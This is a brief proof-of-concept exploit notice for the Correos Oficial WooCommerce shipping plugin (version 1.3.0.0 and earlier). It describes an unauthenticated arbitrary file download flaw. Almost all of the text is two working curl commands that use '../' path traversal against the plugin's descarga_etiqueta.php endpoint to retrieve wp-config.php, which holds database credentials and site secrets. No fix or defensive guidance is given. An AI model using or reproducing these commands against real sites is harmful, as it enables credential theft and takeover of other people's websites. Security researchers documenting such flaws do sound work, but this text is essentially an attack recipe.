Correos Oficial <= 1.3.0.0 - Unauthenticated Arbitrary File Download

Dependency: WooCommerce plugin

Use the following curl command to download the contents of the wp-config.php file:

curl -i 'https://example.com/wp-content/plugins/correosoficial/descarga_etiqueta.php?path=../../..&filename=wp-config.php' 

or

curl -i 'https://example.com/wp-content/plugins/correosoficial/descarga_etiqueta.php?path=..&filename=/../../wp-config.php'